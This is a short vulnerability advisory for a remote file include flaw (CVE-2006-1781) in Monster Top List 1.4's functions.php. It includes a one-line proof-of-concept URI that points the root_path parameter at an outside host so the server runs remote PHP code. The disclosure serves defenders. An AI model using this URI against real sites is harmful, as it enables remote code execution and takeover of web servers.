Monster Top List Functions.PHP Remote File Include Vulnerability

BID:17546

Info

Monster Top List Functions.PHP Remote File Include Vulnerability

Bugtraq ID: 17546
Class: Input Validation Error
CVE: CVE-2006-1781
Remote: Yes
Local: No
Published: Apr 17 2006 12:00AM
Updated: Apr 18 2006 05:01PM
Credit: r0t is credited with the discovery of this vulnerability.
Vulnerable: Monster Top List Monster Top List 1.4
Not Vulnerable:

Discussion

Monster Top List Functions.PHP Remote File Include Vulnerability

Monster Top List is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Exploit / POC

Monster Top List Functions.PHP Remote File Include Vulnerability


This issue can be exploited through a web client.

The following proof-of-concept URI is available:

http://www.example.com/[path]/sources/functions.php?root_path=http://www.example.com/

Solution / Fix

Monster Top List Functions.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

References

Monster Top List Functions.PHP Remote File Include Vulnerability

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